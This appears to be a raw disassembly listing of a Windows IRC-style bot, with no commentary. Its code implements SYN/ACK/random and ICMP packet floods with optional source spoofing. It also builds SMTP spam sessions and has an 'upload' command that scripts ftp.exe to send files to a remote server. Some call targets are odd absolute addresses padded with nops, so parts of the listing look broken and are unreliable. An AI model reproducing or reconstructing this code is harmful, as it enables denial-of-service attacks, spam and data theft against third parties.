		call	sub_417EEF
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		call	sub_41BEB0
		add	esp, 30h
		lea	eax, [ebp+var_5588]
		push	eax
		push	101h
		call	dword_4CB5C4
		lea	eax, [ebp+var_47EC]
		push	eax
		call	dword_4CB6D8
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4CB6D4
		push	[ebp+arg_10]
		mov	esi, eax
		mov	[ebp+var_31C], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_318], eax
		call	dword_4CB654
		mov	[ebp+var_31A], ax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4588]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_5988]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		lea	eax, [ebp+var_31C]
		push	10h
		push	eax
		push	esi
		call	dword_4CB5FC
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4CB66C
		lea	eax, [ebp+var_4088]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_5988]
		push	eax
		push	esi
		call	dword_4CB6A4
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4CB66C
		push	esi
		call	dword_4CB6EC
		call	dword_4CB5AC
		lea	eax, [ebp+var_4588]
		push	eax
		push	offset unk_42B0D4


loc_406CD0:				; CODE XREF: sub_401ACD+2E83j
					; sub_401ACD+4667j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886


loc_406CDC:				; CODE XREF: sub_401ACD+248Cj
		add	esp, 0Ch


loc_406CDF:				; CODE XREF: sub_401ACD+4585j
					; sub_401ACD+6654j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_406D00
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_406D00:				; CODE XREF: sub_401ACD+29B3j
					; sub_401ACD+2A06j ...
		mov	esi, [ebp+arg_24]


loc_406D03:				; CODE XREF: sub_401ACD+68F3j
					; sub_401ACD+78E3j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		pop	ecx
		mov	eax, esi
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_406D17:				; CODE XREF: sub_401ACD+50ADj
		push	[ebp+arg_8]
		push	offset aHttpcon	; "httpcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406D41
		push	[ebp+arg_8]
		push	offset aHcon	; "hcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4072E9


loc_406D41:				; CODE XREF: sub_401ACD+525Bj
		push	[ebp+esi+var_7C]
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4100DC
		jmp	loc_4040AB
; ---------------------------------------------------------------------------


loc_406D6F:				; CODE XREF: sub_401ACD+507Fj
					; sub_401ACD+5096j
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_406DD4
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aAck	; "ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD4
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aRandom_0 ; "random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD4
		push	offset unk_42B08C
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_406DD4:				; CODE XREF: sub_401ACD+52CDj
					; sub_401ACD+52E4j ...
		push	[ebp+arg_18]
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_124C],	eax
		jle	loc_406F00
		push	[ebp+arg_10]
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_13D4]
		push	edi
		push	esi
		push	eax
		call	sub_41B980
		push	[ebp+arg_0]
		call	sub_41B779
		mov	[ebp+var_1250],	eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1248],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13D8],	eax
		lea	eax, [ebp+var_12D4]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_1248],	ebx
		mov	[ebp+var_1244],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1240],	eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_406E71
		mov	eax, offset aNormal ; "Normal"


loc_406E71:				; CODE XREF: sub_401ACD+539Dj
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	eax
		push	offset unk_42B048
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	14h
		push	eax
		call	sub_40B0F7
		add	esp, 2Ch
		mov	[ebp+var_1254],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_13D8]
		push	ebx
		push	eax
		push	offset word_413E36
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_1254]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_406EEF


loc_406ED9:				; CODE XREF: sub_401ACD+5420j
		cmp	[ebp+var_123C],	ebx
		jnz	loc_40828C
		push	32h
		call	near ptr 2670EC6h
		nop
		jmp	short loc_406ED9
; ---------------------------------------------------------------------------


loc_406EEF:				; CODE XREF: sub_401ACD+540Aj
		nop
		call	near ptr 2680867h
		push	eax
		push	offset unk_42B010
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_406F00:				; CODE XREF: sub_401ACD+5318j
		push	offset unk_42AFD8


loc_406F05:				; CODE XREF: sub_401ACD+2019j
					; sub_401ACD+202Fj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40828C
; ---------------------------------------------------------------------------


loc_406F18:				; CODE XREF: sub_401ACD+503Aj
					; sub_401ACD+5051j ...
		cmp	dword_4CB744, ebx
		jnz	loc_407027
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FF8], eax
		lea	eax, [ebp+var_108C]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_100C],	eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_1008],	eax
		call	sub_41B779
		push	7Fh
		mov	[ebp+var_1004],	eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_110C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_1110],	eax
		lea	eax, [ebp+var_108C]
		push	[ebp+var_1004]
		push	[ebp+var_1008]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_100C]
		push	offset unk_42AF90
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	16h
		push	eax
		call	sub_40B0F7
		add	esp, 24h
		mov	[ebp+var_FFC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1110]
		push	ebx
		push	eax
		push	offset byte_413285
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_FFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_407016


loc_407000:				; CODE XREF: sub_401ACD+5547j
		cmp	[ebp+var_FF0], ebx
		jnz	loc_40828C
		push	32h
		nop
		call	near ptr 2670EC6h
		jmp	short loc_407000
; ---------------------------------------------------------------------------


loc_407016:				; CODE XREF: sub_401ACD+5531j
		nop
		call	near ptr 2680867h
		push	eax
		push	offset unk_42AF58
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_407027:				; CODE XREF: sub_401ACD+5451j
		push	1FFh
		lea	eax, [ebp+var_2C4]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_41B5F0
		jmp	loc_408289
; ---------------------------------------------------------------------------


loc_407042:				; CODE XREF: sub_401ACD+500Cj
					; sub_401ACD+5023j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	offset unk_42AF04
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	edx, eax
		push	edi
		mov	edi, edx
		call	sub_41AFE0
		push	[ebp+arg_10]
		add	edi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	edi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+edi+7]
		push	eax
		call	sub_41B900
		add	esp, 40h
		mov	[ebp+arg_C], eax
		push	[ebp+arg_0]
		call	sub_41B779
		mov	edi, [ebp+arg_1C]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_20], ebx
		jle	short loc_40713C


loc_4070C5:				; CODE XREF: sub_401ACD+561Cj
		push	[ebp+arg_C]
		push	edi
		push	[ebp+arg_10]
		call	sub_4185A5
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_1C], eax
		jz	short loc_4070ED
		cmp	eax, ebx
		jnz	short loc_40710C
		inc	[ebp+arg_20]
		mov	eax, [ebp+arg_20]
		cmp	eax, [ebp+arg_14]
		jl	short loc_4070C5
		jmp	short loc_407145
; ---------------------------------------------------------------------------


loc_4070ED:				; CODE XREF: sub_401ACD+560Dj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42AECC


loc_4070F6:				; CODE XREF: sub_401ACD+5681j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h
		jmp	loc_4072E9
; ---------------------------------------------------------------------------


loc_40710C:				; CODE XREF: sub_401ACD+5611j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AE98
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 20h


loc_40713C:				; CODE XREF: sub_401ACD+55F6j
		cmp	[ebp+arg_1C], ebx
		jnz	loc_4072E9


loc_407145:				; CODE XREF: sub_401ACD+561Ej
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42AE64
		jmp	short loc_4070F6
; ---------------------------------------------------------------------------


loc_407150:				; CODE XREF: sub_401ACD+4FC7j
					; sub_401ACD+4FDEj ...
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_C64], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C68], eax
		lea	eax, [ebp+var_CFC]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_C7C], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_C78], eax
		call	sub_41B779
		mov	esi, [ebp+esi+var_7C]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_C74], eax
		jz	short loc_4071B5
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_C70], eax
		jmp	short loc_4071BB
; ---------------------------------------------------------------------------


loc_4071B5:				; CODE XREF: sub_401ACD+56D7j
		mov	[ebp+var_C70], ebx


loc_4071BB:				; CODE XREF: sub_401ACD+56E6j
		push	7Fh
		lea	eax, [ebp+var_D7C]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_CFC]
		mov	[ebp+var_D80], esi
		push	[ebp+var_C74]
		push	[ebp+var_C78]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_C7C]
		push	offset unk_42AE1C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	17h
		push	eax
		call	sub_40B0F7
		add	esp, 24h
		mov	[ebp+var_C6C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D80]
		push	ebx
		push	eax
		push	offset byte_413411
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_C6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40725E


loc_40724C:				; CODE XREF: sub_401ACD+578Fj
		cmp	[ebp+var_C60], ebx
		jnz	short loc_407279
		push	32h
		call	near ptr 2670EC6h
		nop
		jmp	short loc_40724C
; ---------------------------------------------------------------------------


loc_40725E:				; CODE XREF: sub_401ACD+577Dj
		nop
		call	near ptr 2680867h
		push	eax
		push	offset unk_42ADE4


loc_40726A:				; CODE XREF: sub_401ACD+4E32j
					; sub_401ACD+62BFj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_407279:				; CODE XREF: sub_401ACD+4E16j
					; sub_401ACD+5785j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BD
		push	ebx
		push	[ebp+var_4]


loc_407286:				; CODE XREF: sub_401ACD+22DFj
		lea	eax, [ebp+var_2C4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_4082A9
; ---------------------------------------------------------------------------


loc_407299:				; CODE XREF: sub_401ACD+4F99j
					; sub_401ACD+4FB0j
		push	0Bh
		call	sub_40B33F
		push	edi
		mov	[ebp+arg_1C], eax
		call	sub_41B779
		add	eax, [ebp+arg_1C]
		pop	ecx
		pop	ecx
		cmp	eax, 1F4h
		jle	loc_407455
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42ADA4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 20h


loc_4072E9:				; CODE XREF: sub_401ACD+526Ej
					; sub_401ACD+563Aj ...
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aUpload	; "upload"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409855
		push	4
		push	esi
		call	sub_416909
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407325
		push	esi
		push	offset unk_42AD7C
		jmp	loc_408CDC
; ---------------------------------------------------------------------------


loc_407325:				; CODE XREF: sub_401ACD+584Bj
		nop
		call	near ptr 26907ACh
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_51F8]
		push	edx
		push	eax
		lea	eax, [ebp+var_2E58]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E58]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_401E94
		push	esi
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41BE06
		push	[ebp+arg_24]
		call	sub_41B05B
		add	esp, 20h
		lea	eax, [ebp+var_2E58]
		push	eax
		lea	eax, [ebp+var_4CF0]
		push	offset aSS_2	; "-s:%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4CF0]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CB5C0
		push	[ebp+arg_10]
		test	eax, eax
		push	esi
		jz	short loc_4073F4
		push	offset unk_42AD0C
		jmp	short loc_4073F9
; ---------------------------------------------------------------------------


loc_4073F4:				; CODE XREF: sub_401ACD+591Ej
		push	offset unk_42ACDC


loc_4073F9:				; CODE XREF: sub_401ACD+5925j
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_407422
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_407422:				; CODE XREF: sub_401ACD+5937j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD


loc_40742E:				; CODE XREF: sub_401ACD+5986j
		lea	eax, [ebp+var_2E58]
		push	4
		push	eax
		call	sub_416909
		add	esp, 0Ch
		test	eax, eax
		jz	loc_401E94
		lea	eax, [ebp+var_2E58]
		push	eax
		call	sub_41BDDC
		jmp	short loc_40742E
; ---------------------------------------------------------------------------


loc_407455:				; CODE XREF: sub_401ACD+57E6j
		push	[ebp+arg_10]
		call	sub_41B779
		push	edi
		mov	[ebp+var_370], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_358], eax
		call	sub_41B779
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_36C], eax
		jnb	short loc_40748E
		push	5
		pop	eax
		mov	[ebp+var_36C], eax


loc_40748E:				; CODE XREF: sub_401ACD+59B6j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40749B
		mov	[ebp+var_36C], ecx


loc_40749B:				; CODE XREF: sub_401ACD+59C6j
		push	[ebp+arg_18]
		call	sub_41B779
		mov	[ebp+var_368], eax
		mov	eax, 320h
		cmp	[ebp+var_368], eax
		pop	ecx
		jbe	short loc_4074BD
		mov	[ebp+var_368], eax


loc_4074BD:				; CODE XREF: sub_401ACD+59E8j
		or	[ebp+var_354], 0FFFFFFFFh
		cmp	dword_431B00, ebx
		mov	[ebp+arg_20], ebx
		jz	short loc_40750C
		mov	edi, offset dword_431B00


loc_4074D4:				; CODE XREF: sub_401ACD+5A21j
		push	[ebp+arg_10]
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4074F2
		inc	[ebp+arg_20]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_4074D4
		jmp	short loc_40750C
; ---------------------------------------------------------------------------


loc_4074F2:				; CODE XREF: sub_401ACD+5A17j
		mov	eax, [ebp+arg_20]
		mov	ecx, eax
		mov	[ebp+var_354], eax
		shl	ecx, 6
		mov	ecx, dword_431B00[ecx]
		mov	[ebp+var_370], ecx


loc_40750C:				; CODE XREF: sub_401ACD+5A00j
					; sub_401ACD+5A23j
		cmp	[ebp+var_370], ebx
		jnz	short loc_40751E
		push	offset unk_42ACA8
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_40751E:				; CODE XREF: sub_401ACD+5A45j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jz	short loc_407559
		cmp	byte ptr [edi],	23h
		jz	short loc_407559
		push	edi
		lea	eax, [ebp+var_484]
		push	10h
		push	eax
		call	sub_41B980
		push	78h
		push	edi
		call	sub_41BFB0
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_344], eax
		jmp	loc_407633
; ---------------------------------------------------------------------------


loc_407559:				; CODE XREF: sub_401ACD+5A5Aj
					; sub_401ACD+5A5Fj
		cmp	[ebp+var_8FF], bl
		jnz	short loc_40757B
		cmp	[ebp+var_8FE], bl
		jnz	short loc_40757B
		cmp	[ebp+var_8EE], bl
		jnz	short loc_40757B
		push	offset unk_42AC74
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_40757B:				; CODE XREF: sub_401ACD+5A92j
					; sub_401ACD+5A9Aj ...
		push	10h
		lea	eax, [ebp+var_2D0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2F8]
		push	eax
		mov	[ebp+var_2D0], edi
		push	[ebp+arg_4]
		call	dword_4CB5F8
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2F4], eax
		push	[ebp+var_2F4]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_40762D
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41BE40
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_407621


loc_4075FF:				; CODE XREF: sub_401ACD+5B52j
		cmp	eax, ebx
		jz	short loc_407621
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_484]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_4075FF


loc_407621:				; CODE XREF: sub_401ACD+5B30j
					; sub_401ACD+5B34j
		mov	[ebp+var_344], 1
		jmp	short loc_407633
; ---------------------------------------------------------------------------


loc_40762D:				; CODE XREF: sub_401ACD+5B0Aj
		mov	[ebp+var_344], ebx


loc_407633:				; CODE XREF: sub_401ACD+5A87j
					; sub_401ACD+5B5Ej
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_374], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_34C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	edi, 80h
		lea	eax, [ebp+var_474]
		push	edi
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_407684


loc_407671:				; CODE XREF: sub_401ACD+5BDAj
		push	esi


loc_407672:				; CODE XREF: sub_401ACD+5BC4j
		lea	eax, [ebp+var_3F4]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4076AF
; ---------------------------------------------------------------------------


loc_407684:				; CODE XREF: sub_401ACD+5BA2j
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_407693
		cmp	byte ptr [eax],	23h
		jnz	short loc_407693
		push	eax
		jmp	short loc_407672
; ---------------------------------------------------------------------------


loc_407693:				; CODE XREF: sub_401ACD+5BBCj
					; sub_401ACD+5BC1j
		mov	esi, offset aF	; "#f"
		push	offset dword_43D808
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407671
		mov	[ebp+var_3F4], bl


loc_4076AF:				; CODE XREF: sub_401ACD+5BB5j
		cmp	[ebp+var_344], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4076C1
		mov	eax, offset aSequential	; "Sequential"


loc_4076C1:				; CODE XREF: sub_401ACD+5BEDj
		push	[ebp+var_358]
		lea	ecx, [ebp+var_484]
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	[ebp+var_370]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AC0C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F7
		add	esp, 2Ch
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_484]
		push	ebx
		push	eax
		push	offset loc_40C33D
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_364]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40774F


loc_407739:				; CODE XREF: sub_401ACD+5C80j
		cmp	[ebp+var_340], ebx
		jnz	loc_40828C
		push	32h
		nop
		call	near ptr 2670EC6h
		jmp	short loc_407739
; ---------------------------------------------------------------------------


loc_40774F:				; CODE XREF: sub_401ACD+5C6Aj
		call	near ptr 2680867h
		nop
		push	eax
		push	offset unk_42ABD4
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_407760:				; CODE XREF: sub_401ACD+4F6Bj
					; sub_401ACD+4F82j
		push	[ebp+arg_10]
		call	sub_40AAFA
		push	edi
		mov	[ebp+var_4E0], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_4F0], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_4EC], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_570]
		mov	[ebp+var_574], esi
		push	eax
		call	sub_41B5F0
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4D8], edi
		push	[ebp+var_4EC]
		mov	[ebp+var_4D4], eax
		push	[ebp+var_4F0]
		push	[ebp+var_4E8]
		push	[ebp+var_4E0]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AB84
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F7
		add	esp, 24h
		mov	[ebp+var_4E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_574]
		push	ebx
		push	eax
		push	offset word_40C75A
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_4E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_407855


loc_40783F:				; CODE XREF: sub_401ACD+5D86j
		cmp	[ebp+var_4D0], ebx
		jnz	loc_403DA1
		push	32h
		nop
		call	near ptr 2670EC6h
		jmp	short loc_40783F
; ---------------------------------------------------------------------------


loc_407855:				; CODE XREF: sub_401ACD+5D70j
		nop
		call	near ptr 2680867h
		push	eax
		push	offset unk_42AB48
		jmp	loc_403D92
; ---------------------------------------------------------------------------


loc_407866:				; CODE XREF: sub_401ACD+4F2Ej
					; sub_401ACD+4F45j
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_43E5A8[eax], bl
		jz	loc_409855
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42AB3C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_409855
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409855
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax]
		call	sub_409A73
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43E390[eax], 73h
		jnz	loc_409855
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43E5A8
		push	eax
		push	edi
		push	offset aSSS_2	; "[%s]	* %s %s"
		jmp	loc_407A36
; ---------------------------------------------------------------------------


loc_40795E:				; CODE XREF: sub_401ACD+4F00j
					; sub_401ACD+4F17j
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_43E5A8[eax], bl
		jz	loc_409855
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
